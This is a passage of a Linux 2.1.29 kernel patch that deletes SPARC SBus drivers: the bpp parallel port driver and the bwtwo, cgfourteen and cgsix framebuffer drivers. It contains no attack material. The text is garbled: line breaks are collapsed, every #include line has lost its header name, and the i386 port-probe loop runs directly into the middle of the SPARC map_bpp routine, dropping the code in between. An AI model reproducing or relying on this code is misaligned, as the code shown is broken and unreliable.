BPP_GP_Busy, TIME_IDLE_LIMIT, minor); - if (rc == -1) return -ETIMEDOUT; - - bpp_outb_p(byte, base_addrs[minor]); - remaining -= 1; - /* snooze(1, minor); */ - - pins &= ~BPP_PP_nStrobe; - set_pins(pins, minor); - - rc = wait_for(BPP_GP_Busy, 0, TIME_PResponse, minor); - - pins |= BPP_PP_nStrobe; - set_pins(pins, minor); - } - - return cnt - remaining; -} - -/* - * Write data using ECP mode. Watch out that the port may be set up - * for reading. If so, turn the port around. - */ -static long write_ecp(unsigned minor, const char *c, unsigned long cnt) -{ - unsigned short pins = get_pins(minor); - unsigned long remaining = cnt; - - if (instances[minor].direction) { - int rc; - - /* Event 47 Request bus be turned around */ - pins |= BPP_PP_nInit; - set_pins(pins, minor); - - /* Wait for Event 49: Peripheral relinquished bus */ - rc = wait_for(BPP_GP_PError, 0, TIME_PResponse, minor); - - pins |= BPP_PP_nAutoFd; - instances[minor].direction = 0; - set_pins(pins, minor); - } - - while (remaining > 0) { - unsigned char byte; - int rc; - - get_user_ret(byte, c, -EFAULT); - - rc = wait_for(0, BPP_GP_Busy, TIME_PResponse, minor); - if (rc == -1) return -ETIMEDOUT; - - c += 1; - - bpp_outb_p(byte, base_addrs[minor]); - - pins &= ~BPP_PP_nStrobe; - set_pins(pins, minor); - - pins |= BPP_PP_nStrobe; - rc = wait_for(BPP_GP_Busy, 0, TIME_PResponse, minor); - if (rc == -1) return -EIO; - - set_pins(pins, minor); - } - - return cnt - remaining; -} - -/* - * Write to the peripheral. Be sensitive of the current mode. If I'm - * in a mode that can be turned around (ECP) then just do - * that. Otherwise, terminate and do my writing in compat mode. This - * is the safest course as any device can handle it. - */ -static long write(struct inode *inode, struct file *f, - const char *c, unsigned long cnt) -{ - long errno = 0; - unsigned minor = MINOR(inode->i_rdev); - if (minor >= BPP_NO) return -ENODEV; - if (!instances[minor].present) return -ENODEV; - - switch (instances[minor].mode) { - - case ECP: - case ECP_RLE: - errno = write_ecp(minor, c, cnt); - break; - case COMPATIBILITY: - errno = write_compat(minor, c, cnt); - break; - default: - terminate(minor); - errno = write_compat(minor, c, cnt); - } - - return errno; -} - -static int ioctl(struct inode *inode, struct file *f, unsigned int cmd, - unsigned long arg) -{ - int errno = 0; - - unsigned minor = MINOR(inode->i_rdev); - if (minor >= BPP_NO) return -ENODEV; - if (!instances[minor].present) return -ENODEV; - - - switch (cmd) { - - case BPP_PUT_PINS: - set_pins(arg, minor); - break; - - case BPP_GET_PINS: - errno = get_pins(minor); - break; - - case BPP_PUT_DATA: - bpp_outb_p(arg, base_addrs[minor]); - break; - - case BPP_GET_DATA: - errno = bpp_inb_p(base_addrs[minor]); - break; - - case BPP_SET_INPUT: - if (arg) - if (instances[minor].enhanced) { - unsigned short bits = get_pins(minor); - instances[minor].direction = 0x20; - set_pins(bits, minor); - } else { - errno = -ENOTTY; - } - else { - unsigned short bits = get_pins(minor); - instances[minor].direction = 0x00; - set_pins(bits, minor); - } - break; - - default: - errno = -EINVAL; - } - - return errno; -} - -static struct file_operations bpp_fops = { - 0, - read, /* read */ - write, /* write */ - 0, - 0, - ioctl, - 0, /* mmap */ - open, - release, - 0, - 0, - 0, - 0 -}; - -#if defined(__i386__) - -#define collectLptPorts() {} - -static void probeLptPort(unsigned idx) -{ - unsigned int testvalue; - const unsigned short lpAddr = base_addrs[idx]; - - instances[idx].present = 0; - instances[idx].enhanced = 0; - instances[idx].direction = 0; - instances[idx].mode = COMPATIBILITY; - instances[idx].wait_queue = 0; - instances[idx].run_length = 0; - instances[idx].run_flag = 0; - init_timer(&instances[idx].timer_list); - instances[idx].timer_list.function = bpp_wake_up; - if (check_region(lpAddr,3)) return; - - /* - * First, make sure the instance exists. Do this by writing to - * the data latch and reading the value back. If the port *is* - * present, test to see if it supports extended-mode - * operation. This will be required for IEEE1284 reverse - * transfers. - */ - - outb_p(BPP_PROBE_CODE, lpAddr); - for (testvalue=0; testvaluereg_addrs[0]; - printk("bpp%d.map_bpp: 0x%x.%p[0x%x] i=%d\n", idx, - areg.which_io, areg.phys_addr, areg.reg_size, - dev->irqs[0].pri); - /* IPC Zebra 1.fa200000[1c] i=2 */ - /** prom_apply_sbus_ranges (&areg, 1); **/ - - regs = sparc_alloc_io (areg.phys_addr, 0, - sizeof(struct bpp_regs), "bpp", - areg.which_io, 0x0); - - return regs; -} - -static int collectLptPorts(void) -{ - struct linux_sbus *bus; - struct linux_sbus_device *dev; - int count; - - count = 0; - for_all_sbusdev(dev, bus) { - if (strcmp(dev->prom_name, "SUNW,bpp") == 0) { - if (count >= BPP_NO) { - printk(KERN_NOTICE - "bpp: More than %d bpp ports," - " rest is ignored\n", BPP_NO); - return count; - } - base_addrs[count] = map_bpp(dev, count); - count++; - } - } - return count; -} - -static void probeLptPort(unsigned idx) -{ - volatile struct bpp_regs *rp = base_addrs[idx]; - __u32 csr; - char *brand; - - instances[idx].present = 0; - instances[idx].enhanced = 0; - instances[idx].direction = 0; - instances[idx].mode = COMPATIBILITY; - instances[idx].wait_queue = 0; - instances[idx].run_length = 0; - instances[idx].run_flag = 0; - init_timer(&instances[idx].timer_list); - instances[idx].timer_list.function = bpp_wake_up; - - if (rp == 0) return; - - instances[idx].present = 1; - instances[idx].enhanced = 1; /* Sure */ - - if (((csr = rp->p_csr) & P_DRAINING) != 0 && (csr & P_ERR_PEND) == 0) { - udelay(20); - csr = rp->p_csr; - if ((csr & P_DRAINING) != 0 && (csr & P_ERR_PEND) == 0) { - printk("bpp%d: DRAINING still active (0x%08x)\n", idx, csr); - } - } - printk("bpp%d: reset with 0x%08x ..", idx, csr); - rp->p_csr = (csr | P_RESET) & ~P_INT_EN; - udelay(500); - rp->p_csr &= ~P_RESET; - printk(" done with csr=0x%08x ocr=0x%04x\n", rp->p_csr, rp->p_ocr); - - switch (rp->p_csr & P_DEV_ID_MASK) { - case P_DEV_ID_ZEBRA: - brand = "Zebra"; - break; - case P_DEV_ID_L64854: - brand = "DMA2"; - break; - default: - brand = "Unknown"; - } - printk("bpp%d: %s at 0x%p\n", idx, brand, rp); - - /* - * Leave the port in compat idle mode. - */ - set_pins(BPP_PP_nAutoFd|BPP_PP_nStrobe|BPP_PP_nInit, idx); - - return; -} - -static inline void freeLptPort(int idx) -{ - sparc_free_io ((void *)base_addrs[idx], sizeof(struct bpp_regs)); -} - -#endif - -#ifdef MODULE -int init_module(void) -#else -__initfunc(int bpp_init(void)) -#endif -{ - int rc; - unsigned idx; - - rc = collectLptPorts(); - if (rc == 0) - return -ENODEV; - - rc = register_chrdev(BPP_MAJOR, dev_name, &bpp_fops); - if (rc < 0) - return rc; - - for (idx = 0; idx < BPP_NO; idx += 1) { - instances[idx].opened = 0; - probeLptPort(idx); - } - - return 0; -} - -#ifdef MODULE -void cleanup_module(void) -{ - unsigned idx; - - unregister_chrdev(BPP_MAJOR, dev_name); - - for (idx = 0 ; idx < BPP_NO ; idx += 1) { - if (instances[idx].present) - freeLptPort(idx); - } -} -#endif diff -u --recursive --new-file linux-2.1.29/drivers/sbus/char/bwtwo.c linux/drivers/sbus/char/bwtwo.c --- linux-2.1.29/drivers/sbus/char/bwtwo.c Sat May 10 18:16:58 1997 +++ linux/drivers/sbus/char/bwtwo.c Wed Dec 31 19:00:00 1969 @@ -1,109 +0,0 @@ -/* $Id: bwtwo.c,v 1.9 1996/12/23 10:15:57 ecd Exp $ - * bwtwo.c: bwtwo console driver - * - * Copyright (C) 1996 Miguel de Icaza (miguel@nuclecu.unam.mx) - */ - -#include -#include -#include -#include - -#include -#include -#include -#include - -#include "../../char/vt_kern.h" -#include "../../char/selection.h" -#include "../../char/console_struct.h" -#include "fb.h" -#include "cg_common.h" - -/* OBio addresses for the bwtwo registers */ -#define BWTWO_REGISTER_OFFSET 0x400000 - -struct bwtwo_regs { - __volatile__ struct bt_regs bt; - __volatile__ __u8 control; - __volatile__ __u8 status; - __volatile__ __u8 cursor_start; - __volatile__ __u8 cursor_end; - __volatile__ __u8 vcontrol[12]; -}; - -/* Control Register Constants */ -#define BWTWO_CTL_ENABLE_INTS 0x80 -#define BWTWO_CTL_ENABLE_VIDEO 0x40 -#define BWTWO_CTL_ENABLE_TIMING 0x20 -#define BWTWO_CTL_ENABLE_CURCMP 0x10 -#define BWTWO_CTL_XTAL_MASK 0x0C -#define BWTWO_CTL_DIVISOR_MASK 0x03 - -/* Status Register Constants */ -#define BWTWO_STAT_PENDING_INT 0x80 -#define BWTWO_STAT_MSENSE_MASK 0x70 -#define BWTWO_STAT_ID_MASK 0x0f - - -static int -bwtwo_mmap (struct inode *inode, struct file *file, struct vm_area_struct *vma, - long base, fbinfo_t *fb) -{ - uint size, map_offset, r; - int map_size; - - map_size = size = vma->vm_end - vma->vm_start; - - if (vma->vm_offset & ~PAGE_MASK) - return -ENXIO; - - /* To stop the swapper from even considering these pages */ - vma->vm_flags |= FB_MMAP_VM_FLAGS; - - /* This routine should also map the register if asked for, - * but we don't do that yet. - */ - map_offset = get_phys ((uint) fb->base); - r = io_remap_page_range (vma->vm_start, map_offset, map_size, - vma->vm_page_prot, fb->space); - if (r) return -EAGAIN; - vma->vm_inode = inode; - inode->i_count++; - return 0; -} - -static void -bwtwo_blank (fbinfo_t *fb) -{ - fb->info.bwtwo.regs->control &= ~BWTWO_CTL_ENABLE_VIDEO; -} - -static void -bwtwo_unblank (fbinfo_t *fb) -{ - fb->info.bwtwo.regs->control |= BWTWO_CTL_ENABLE_VIDEO; -} - -__initfunc(void bwtwo_setup (fbinfo_t *fb, int slot, uint bwtwo, int bw2_io)) -{ - printk ("bwtwo%d at 0x%8.8x\n", slot, bwtwo); - fb->type.fb_cmsize = 0; - fb->mmap = bwtwo_mmap; - fb->loadcmap = 0; - fb->ioctl = 0; - fb->reset = 0; - fb->blank = bwtwo_blank; - fb->unblank = bwtwo_unblank; - fb->info.bwtwo.regs = sparc_alloc_io ((void *)bwtwo + - BWTWO_REGISTER_OFFSET, 0, sizeof (struct bwtwo_regs), - "bwtwo_regs", bw2_io, 0); - if(!fb->base) - fb->base = (unsigned long) sparc_alloc_io((void *)bwtwo, 0, - ((fb->type.fb_depth*fb->type.fb_height*fb->type.fb_width)/8), - "bwtwo_fbase", bw2_io, 0); - - if (slot && sun_prom_console_id != slot) - bwtwo_blank (fb); -} - diff -u --recursive --new-file linux-2.1.29/drivers/sbus/char/cg_common.h linux/drivers/sbus/char/cg_common.h --- linux-2.1.29/drivers/sbus/char/cg_common.h Sat May 10 18:16:37 1997 +++ linux/drivers/sbus/char/cg_common.h Wed Dec 31 19:00:00 1969 @@ -1,28 +0,0 @@ -/* sun_cg_common.h - * contains the definitions of the structures that various sun - * frame buffer can use to do console driver stuff. - * - * This is not in sun_framebuffer.h because you may not want cgXX - * support so you wont require this. - * - */ - -#define BT_D4M3(x) ((((x) >> 2) << 1) + ((x) >> 2)) /* (x / 4) * 3 */ -#define BT_D4M4(x) ((x) & ~3) /* (x / 4) * 4 */ - -#define D4M3(x) ((((x)>>2)<<1) + ((x)>>2)) /* (x/4)*3 */ -#define D4M4(x) ((x)&~0x3) /* (x/4)*4 */ - -struct bt_regs { - volatile unsigned int addr; /* address register */ - volatile unsigned int color_map; /* color map */ - volatile unsigned int control; /* control register */ - volatile unsigned int cursor; /* cursor map register */ -}; - -/* The cg3 driver, obio space addresses for mapping the cg3 stuff */ -/* We put these constants here, because the cg14 driver initially will emulate a cg3 */ -#define CG3_REGS 0x400000 -#define CG3_RAM 0x800000 - - diff -u --recursive --new-file linux-2.1.29/drivers/sbus/char/cgfourteen.c linux/drivers/sbus/char/cgfourteen.c --- linux-2.1.29/drivers/sbus/char/cgfourteen.c Sat May 10 18:16:58 1997 +++ linux/drivers/sbus/char/cgfourteen.c Wed Dec 31 19:00:00 1969 @@ -1,472 +0,0 @@ -/* $Id: cgfourteen.c,v 1.17 1996/12/23 10:16:00 ecd Exp $ - * cgfourteen.c: Sun SparcStation console support. - * - * Copyright (C) 1995 Miguel de Icaza (miguel@nuclecu.unam.mx) - * Copyright (C) 1996 Jakub Jelinek (jj@sunsite.mff.cuni.cz) - * - * TODO: - * - * Add the ioctls for CLUT manipulation. - * Map only the amount requested, not a constant amount. - * XBGR mapping. - * Add the interrupt handler. -*/ - -#include -#include -#include -#include - -#include -#include -#include -#include -#include - -#include "../../char/vt_kern.h" -#include "../../char/selection.h" -#include "../../char/console_struct.h" -#include "fb.h" - -#define CG14_MCR_INTENABLE_SHIFT 7 -#define CG14_MCR_INTENABLE_MASK 0x80 -#define CG14_MCR_VIDENABLE_SHIFT 6 -#define CG14_MCR_VIDENABLE_MASK 0x40 -#define CG14_MCR_PIXMODE_SHIFT 4 -#define CG14_MCR_PIXMODE_MASK 0x30 -#define CG14_MCR_TMR_SHIFT 2 -#define CG14_MCR_TMR_MASK 0x0c -#define CG14_MCR_TMENABLE_SHIFT 1 -#define CG14_MCR_TMENABLE_MASK 0x02 -#define CG14_MCR_RESET_SHIFT 0 -#define CG14_MCR_RESET_MASK 0x01 -#define CG14_REV_REVISION_SHIFT 4 -#define CG14_REV_REVISION_MASK 0xf0 -#define CG14_REV_IMPL_SHIFT 0 -#define CG14_REV_IMPL_MASK 0x0f -#define CG14_VBR_FRAMEBASE_SHIFT 12 -#define CG14_VBR_FRAMEBASE_MASK 0x00fff000 -#define CG14_VMCR1_SETUP_SHIFT 0 -#define CG14_VMCR1_SETUP_MASK 0x000001ff -#define CG14_VMCR1_VCONFIG_SHIFT 9 -#define CG14_VMCR1_VCONFIG_MASK 0x00000e00 -#define CG14_VMCR2_REFRESH_SHIFT 0 -#define CG14_VMCR2_REFRESH_MASK 0x00000001 -#define CG14_VMCR2_TESTROWCNT_SHIFT 1 -#define CG14_VMCR2_TESTROWCNT_MASK 0x00000002 -#define CG14_VMCR2_FBCONFIG_SHIFT 2 -#define CG14_VMCR2_FBCONFIG_MASK 0x0000000c -#define CG14_VCR_REFRESHREQ_SHIFT 0 -#define CG14_VCR_REFRESHREQ_MASK 0x000003ff -#define CG14_VCR1_REFRESHENA_SHIFT 10 -#define CG14_VCR1_REFRESHENA_MASK 0x00000400 -#define CG14_VCA_CAD_SHIFT 0 -#define CG14_VCA_CAD_MASK 0x000003ff -#define CG14_VCA_VERS_SHIFT 10 -#define CG14_VCA_VERS_MASK 0x00000c00 -#define CG14_VCA_RAMSPEED_SHIFT 12 -#define CG14_VCA_RAMSPEED_MASK 0x00001000 -#define CG14_VCA_8MB_SHIFT 13 -#define CG14_VCA_8MB_MASK 0x00002000 - -#define CG14_MCR_PIXMODE_8 0 -#define CG14_MCR_PIXMODE_16 2 -#define CG14_MCR_PIXMODE_32 3 - -struct cg14_regs{ - volatile u8 mcr; /* Master Control Reg */ - volatile u8 ppr; /* Packed Pixel Reg */ - volatile u8 tms[2]; /* Test Mode Status Regs */ - volatile u8 msr; /* Master Status Reg */ - volatile u8 fsr; /* Fault Status Reg */ - volatile u8 rev; /* Revision & Impl */ - volatile u8 ccr; /* Clock Control Reg */ - volatile u32 tmr; /* Test Mode Read Back */ - volatile u8 mod; /* Monitor Operation Data Reg */ - volatile u8 acr; /* Aux Control */ - u8 xxx0[6]; - volatile u16 hct; /* Hor Counter */ - volatile u16 vct; /* Vert Counter */ - volatile u16 hbs; /* Hor Blank Start */ - volatile u16 hbc; /* Hor Blank Clear */ - volatile u16 hss; /* Hor Sync Start */ - volatile u16 hsc; /* Hor Sync Clear */ - volatile u16 csc; /* Composite Sync Clear */ - volatile u16 vbs; /* Vert Blank Start */ - volatile u16 vbc; /* Vert Blank Clear */ - volatile u16 vss; /* Vert Sync Start */ - volatile u16 vsc; /* Vert Sync Clear */ - volatile u16 xcs; - volatile u16 xcc; - volatile u16 fsa; /* Fault Status Address */ - volatile u16 adr; /* Address Registers */ - u8 xxx1[0xce]; - volatile u8 pcg[0x100]; /* Pixel Clock Generator */ - volatile u32 vbr; /* Frame Base Row */ - volatile u32 vmcr; /* VBC Master Control */ - volatile u32 vcr; /* VBC refresh */ - volatile u32 vca; /* VBC Config */ -}; - -#define CG14_CCR_ENABLE 0x04 -#define CG14_CCR_SELECT 0x02 /* HW/Full screen */ - -struct cg14_cursor { - volatile u32 cpl0[32]; /* Enable plane 0 */ - volatile u32 cpl1[32]; /* Color selection plane */ - volatile u8 ccr; /* Cursor Control Reg */ - u8 xxx0[3]; - volatile u16 cursx; /* Cursor x,y position */ - volatile u16 cursy; /* Cursor x,y position */ - volatile u32 color0; - volatile u32 color1; - u32 xxx1[0x1bc]; - volatile u32 cpl0i[32]; /* Enable plane 0 autoinc */ - volatile u32 cpl1i[32]; /* Color selection autoinc */ -}; - -struct cg14_dac { - volatile u8 addr; /* Address Register */ - u8 xxx0[255]; - volatile u8 glut; /* Gamma table */ - u8 xxx1[255]; - volatile u8 select; /* Register Select */ - u8 xxx2[255]; - volatile u8 mode; /* Mode Register */ -}; - -struct cg14_xlut{ - volatile u8 x_xlut [256]; - volatile u8 x_xlutd [256]; - u8 xxx0[0x600]; - volatile u8 x_xlut_inc [256]; - volatile u8 x_xlutd_inc [256]; -}; - -/* Color look up table (clut) */ -/* Each one of these arrays hold the color lookup table (for 256 - * colors) for each MDI page (I assume then there should be 4 MDI - * pages, I still wonder what they are. I have seen NeXTStep split - * the screen in four parts, while operating in 24 bits mode. Each - * integer holds 4 values: alpha value (transparency channel, thanks - * go to John Stone (johns@umr.edu) from OpenBSD), red, green and blue - * - * I currently use the clut instead of the Xlut - */ -struct cg14_clut { - unsigned int c_clut [256]; - unsigned int c_clutd [256]; /* i wonder what the 'd' is for */ - unsigned int c_clut_inc [256]; - unsigned int c_clutd_inc [256]; -}; - -static int -cg14_mmap (struct inode *inode, struct file *file, - struct vm_area_struct *vma, long base, fbinfo_t *fb) -{ - uint size, page, r, map_size; - uint map_offset = 0; - uint ram_size = fb->info.cg14.ramsize; - - printk ("RAMSIZE=%d\n", ram_size); - size = vma->vm_end - vma->vm_start; - if (vma->vm_offset & ~PAGE_MASK) - return -ENXIO; - - /* To stop the swapper from even considering these pages */ - vma->vm_flags |= FB_MMAP_VM_FLAGS; - - /* Each page, see which map applies */ - for (page = 0; page < size; ){ - switch (vma->vm_offset+page){ - case CG3_MMAP_OFFSET-0x7000: - printk ("Wee! They are mapping the register, report this to miguel@gnu.ai.mit.edu\n"); - printk ("Mapping fb->info.regs!\n"); - map_size = 0x7000; - map_offset = get_phys ((uint) fb->info.cg14.regs); - break; - - case CG3_MMAP_OFFSET: - map_size = size-page; - map_offset = get_phys ((uint) fb->base); - break; - - case MDI_PLANAR_X16_MAP: - map_size = ram_size/2; - map_offset = get_phys ((uint) fb->base) | 0x2000000; - break; - - case MDI_PLANAR_C16_MAP: - map_size = ram_size/2; - map_offset = get_phys ((uint) fb->base) | 0x2800000; - break; - - case MDI_CHUNKY_XBGR_MAP: - map_size = 0; - printk ("Woo Woo: XBGR not there yet\n"); - break; - - case MDI_CHUNKY_BGR_MAP: - map_size = ram_size; - map_offset = get_phys ((uint) fb->base) | 0x1000000; - break; - - case MDI_PLANAR_X32_MAP: - map_size = ram_size/4; - map_offset = get_phys ((uint) fb->base) | 0x3000000; - break; - case MDI_PLANAR_B32_MAP: - map_size = ram_size/4; - map_offset = get_phys ((uint) fb->base) | 0x3400000; - break; - case MDI_PLANAR_G32_MAP: - map_size = ram_size/4; - map_offset = get_phys ((uint) fb->base) | 0x3800000; - break; - case MDI_PLANAR_R32_MAP: - map_size = ram_size/4; - map_offset = get_phys ((uint) fb->base) | 0x3c00000; - break; - - case MDI_CURSOR_MAP: - map_size = PAGE_SIZE; - map_offset = get_phys ((uint) fb->info.cg14.cursor_regs); - break; - - case CG14_REGS: - printk ("Wee! They are mapping the register, report this to miguel@gnu.ai.mit.edu\n"); - map_size = PAGE_SIZE; - map_offset = get_phys ((uint) fb->info.cg14.regs); - break; - - case CG14_XLUT: - map_size = PAGE_SIZE; - map_offset = get_phys ((uint) fb->info.cg14.regs+0x3000); - break; - - case CG14_CLUT1: - map_size = PAGE_SIZE; - map_offset = get_phys ((uint) fb->info.cg14.regs+0x4000); - break; - - case CG14_CLUT2: - map_size = PAGE_SIZE; - map_offset = get_phys ((uint) fb->info.cg14.regs+0x5000); - break; - - default: - map_size = 0; - break; - } - if (!map_size){ - page += PAGE_SIZE; - continue; - } - if (page + map_size > size) - map_size = size - page; - r = io_remap_page_range (vma->vm_start+page, - map_offset, - map_size, vma->vm_page_prot, - fb->space); - if (r) return -EAGAIN; - page += map_size; - } - vma->vm_inode = inode; - inode->i_count++; - return 0; -} - -static void -cg14_cmap (fbinfo_t *fb, int index, int count) -{ - struct cg14_clut *clut = fb->info.cg14.clut; - int i; - - for (i = index; count--; i++){ - clut->c_clut [i] = - (fb->color_map CM(i,2) << 16) | - (fb->color_map CM(i,1) << 8) | - (fb->color_map CM(i,0)); - } -} - -static void -cg14_setcursormap (fbinfo_t *fb, unsigned char *red, - unsigned char *green, - unsigned char *blue) -{ - struct cg14_cursor *cur = fb->info.cg14.cursor_regs; - - cur->color0 = ((red[0]) | (green[0] << 8) | (blue[0] << 16)); - cur->color1 = ((red[1]) | (green[1] << 8) | (blue[1] << 16)); -} - -/* Load cursor information */ -static void -cg14_setcursor (fbinfo_t *fb) -{ - struct cg_cursor *c = &fb->cursor; - struct cg14_cursor *cur = fb->info.cg14.cursor_regs; - - if (c->enable) - cur->ccr |= CG14_CCR_ENABLE; - cur->cursx = ((c->cpos.fbx - c->chot.fbx) & 0xfff); - cur->cursy = ((c->cpos.fby - c->chot.fby) & 0xfff); -} - -/* Set cursor shape */ -static void -cg14_setcurshape (fbinfo_t *fb) -{ - struct cg14_cursor *cur = fb->info.cg14.cursor_regs; - int i; - - for (i = 0; i < 32; i++){ - cur->cpl0 [i] = fb->cursor.bits[0][i]; - cur->cpl1 [i] = fb->cursor.bits[1][i]; - } -} - -/* These ones are for putting the video card on 16/32 bpp */ -static int -cg14_ioctl (struct inode *inode, struct file *file, unsigned cmd, unsigned long arg, fbinfo_t *fb) -{ - switch (cmd){ - case MDI_RESET: { - volatile unsigned char *control = &(fb->info.cg14.regs->mcr); - *control = (*control & ~CG14_MCR_PIXMODE_MASK); - } - break; - - case MDI_GET_CFGINFO: { - int error; - struct mdi_cfginfo *mdii; - - error = verify_area (VERIFY_WRITE, (void *) arg, - sizeof (struct mdi_cfginfo)); - if (error) - return error; - - mdii = (struct mdi_cfginfo *) arg; -#if 0 - __put_user_ret(2, &mdii->mdi_ncluts, -EFAULT); - switch (fb->info.cg14.regs->rev & CG14_REV_IMPL_MASK){ - case 0: - case 2: - break; - - case 1: - case 3: - __put_user_ret(3, &mdii->mdi_ncluts, -EFAULT); - break; - default: - printk ("Unknown implementation number\n"); - } -#endif - __put_user_ret(FBTYPE_MDICOLOR, &mdii->mdi_type, -EFAULT); - __put_user_ret(fb->type.fb_height, &mdii->mdi_height, -EFAULT); - __put_user_ret(fb->type.fb_width, &mdii->mdi_width, -EFAULT); - __put_user_ret(fb->info.cg14.video_mode, &mdii->mdi_mode, -EFAULT); - __put_user_ret(72, &mdii->mdi_pixfreq, -EFAULT); /* FIXME */ - __put_user_ret(fb->info.cg14.ramsize, &mdii->mdi_size, -EFAULT); - } - break; - - case MDI_SET_PIXELMODE: { - int newmode; - volatile u8 *control; - - get_user_ret(newmode, (int *)arg, -EFAULT); - control = &(fb->info.cg14.regs->mcr); - switch (newmode){ - case MDI_32_PIX: - *control = (*control & ~CG14_MCR_PIXMODE_MASK) | - (CG14_MCR_PIXMODE_32 << CG14_MCR_PIXMODE_SHIFT); - break; - case MDI_16_PIX: - *control = (*control & ~CG14_MCR_PIXMODE_MASK) | 0x20; - break; - case MDI_8_PIX: - *control = (*control & ~CG14_MCR_PIXMODE_MASK); - break; - - default: - return -ENOSYS; - } - fb->info.cg14.video_mode = newmode; - } - break; - - } /* switch */ - return 0; -} - -static void -cg14_switch_from_graph (void) -{ - fbinfo_t *fb = &(fbinfo [0]); - struct cg14_info *cg14info = (struct cg14_info *) &fb->info.cg14; - - /* Set the 8-bpp mode */ - if (fb->open && fb->mmaped){ - volatile char *mcr = (char *)(&cg14info->regs->mcr); - - fb->info.cg14.video_mode = 8; - *mcr = (*mcr & ~(CG14_MCR_PIXMODE_MASK)); - } -} - -void -cg14_reset (fbinfo_t *fb) -{ - volatile char *mcr = &(fb->info.cg14.regs->mcr); - - *mcr = (*mcr & ~(CG14_MCR_PIXMODE_MASK)); -} - -__initfunc(void cg14_setup (fbinfo_t *fb, int slot, int con_node, uint cg14, int cg14_io)) -{ - struct cg14_info *cg14info; - uint bases [2]; - uint cg14regs = 0; - struct cg14_regs *regs = 0; - - if (!cg14) { - prom_getproperty (con_node, "address", (char *) &bases[0], 8); - cg14 = bases[1]; - cg14regs = bases[0]; - fb->base = cg14; - fb->info.cg14.regs = (struct cg14_regs *) cg14regs; - regs = (struct cg14_regs *) cg14regs; - } - - if (!cg14regs){ - printk ("The PROM does not have mapped the frame buffer or the registers\n" - "Mr. Penguin can't use that"); - prom_halt (); - } - - fb->type.fb_cmsize = 256; - fb->mmap = cg14_mmap; - fb->loadcmap = cg14_cmap; - fb->setcursor = cg14_setcursor; - fb->setcursormap = cg14_setcursormap; - fb->setcurshape = cg14_setcurshape; - fb->ioctl = cg14_ioctl; - fb->switch_from_graph = cg14_switch_from_graph; - fb->postsetup = sun_cg_postsetup; - fb->reset = cg14_reset; - fb->blank = 0; - fb->unblank = 0; - fb->info.cg14.video_mode = 8; - fb->emulations [1] = FBTYPE_SUN3COLOR; - fb->type.fb_depth = 24; - cg14info = (struct cg14_info *) &fb->info.cg14; - cg14info->clut = (void *) (cg14regs + CG14_CLUT1); - cg14info->cursor_regs = (void *) (cg14regs + CG14_CURSORREGS); - - /* If the bit is turned on, the card has 8 mb of ram, otherwise just 4 */ - cg14info->ramsize = (regs->vca & CG14_VCA_8MB_MASK ? 8 : 4) * 1024 * 1024; - printk ("cgfourteen%d at 0x%8.8x with %d megs of RAM rev=%d, impl=%d\n", - slot, cg14, cg14info->ramsize/(1024*1024), regs->rev >> 4, regs->rev & 0xf); -} diff -u --recursive --new-file linux-2.1.29/drivers/sbus/char/cgsix.c linux/drivers/sbus/char/cgsix.c --- linux-2.1.29/drivers/sbus/char/cgsix.c Sat May 10 18:17:46 1997 +++ linux/drivers/sbus/char/cgsix.c Wed Dec 31 19:00:00 1969 @@ -1,642 +0,0 @@ -/* $Id: cgsix.c,v 1.22 1997/02/02 02:12:41 ecd Exp $ - * cgsix.c: cgsix frame buffer driver - * - * Copyright (C) 1996 Miguel de Icaza (miguel@nuclecu.unam.mx) - * Copyright (C) 1996 Jakub Jelinek (jj@sunsite.mff.cuni.cz) - * Copyright (C) 1996 Eddie C. Dost (ecd@skynet.be) - */ -#include -#include -#include -#include - -#include -#include -#include -#include - -#include "../../char/vt_kern.h" -#include "../../char/selection.h" -#include "../../char/console_struct.h" -#include "fb.h" -#include "cg_common.h" - -/* Offset of interesting structures in the OBIO space */ -/* - * Brooktree is the video dac and is funny to program on the cg6. - * (it's even funnier on the cg3) - * The FBC could be the the frame buffer control - * The FHC could is the frame buffer hardware control. - */ -#define CG6_ROM_OFFSET 0x0 -#define CG6_BROOKTREE_OFFSET 0x200000 -#define CG6_DHC_OFFSET 0x240000 -#define CG6_ALT_OFFSET 0x280000 -#define CG6_FHC_OFFSET 0x300000 -#define CG6_THC_OFFSET 0x301000 -#define CG6_FBC_OFFSET 0x700000 -#define CG6_TEC_OFFSET 0x701000 -#define CG6_RAM_OFFSET 0x800000 - -/* FHC definitions */ -#define CG6_FHC_FBID_SHIFT 24 -#define CG6_FHC_FBID_MASK 255 -#define CG6_FHC_REV_SHIFT 20 -#define CG6_FHC_REV_MASK 15 -#define CG6_FHC_FROP_DISABLE (1 << 19) -#define CG6_FHC_ROW_DISABLE (1 << 18) -#define CG6_FHC_SRC_DISABLE (1 << 17) -#define CG6_FHC_DST_DISABLE (1 << 16) -#define CG6_FHC_RESET (1 << 15) -#define CG6_FHC_LITTLE_ENDIAN (1 << 13) -#define CG6_FHC_RES_MASK (3 << 11) -#define CG6_FHC_1024 (0 << 11) -#define CG6_FHC_1152 (1 << 11) -#define CG6_FHC_1280 (2 << 11) -#define CG6_FHC_1600 (3 << 11) -#define CG6_FHC_CPU_MASK (3 << 9) -#define CG6_FHC_CPU_SPARC (0 << 9) -#define CG6_FHC_CPU_68020 (1 << 9) -#define CG6_FHC_CPU_386 (2 << 9) -#define CG6_FHC_TEST (1 << 8) -#define CG6_FHC_TEST_X_SHIFT 4 -#define CG6_FHC_TEST_X_MASK 15 -#define CG6_FHC_TEST_Y_SHIFT 0 -#define CG6_FHC_TEST_Y_MASK 15 - -/* FBC mode definitions */ -#define CG6_FBC_BLIT_IGNORE 0x00000000 -#define CG6_FBC_BLIT_NOSRC 0x00100000 -#define CG6_FBC_BLIT_SRC 0x00200000 -#define CG6_FBC_BLIT_ILLEGAL 0x00300000 -#define CG6_FBC_BLIT_MASK 0x00300000 - -#define CG6_FBC_VBLANK 0x00080000 - -#define CG6_FBC_MODE_IGNORE 0x00000000 -#define CG6_FBC_MODE_COLOR8 0x00020000 -#define CG6_FBC_MODE_COLOR1 0x00040000 -#define CG6_FBC_MODE_HRMONO 0x00060000 -#define CG6_FBC_MODE_MASK 0x00060000 - -#define CG6_FBC_DRAW_IGNORE 0x00000000 -#define CG6_FBC_DRAW_RENDER 0x00008000 -#define CG6_FBC_DRAW_PICK 0x00010000 -#define CG6_FBC_DRAW_ILLEGAL 0x00018000 -#define CG6_FBC_DRAW_MASK 0x00018000 - -#define CG6_FBC_BWRITE0_IGNORE 0x00000000 -#define CG6_FBC_BWRITE0_ENABLE 0x00002000 -#define CG6_FBC_BWRITE0_DISABLE 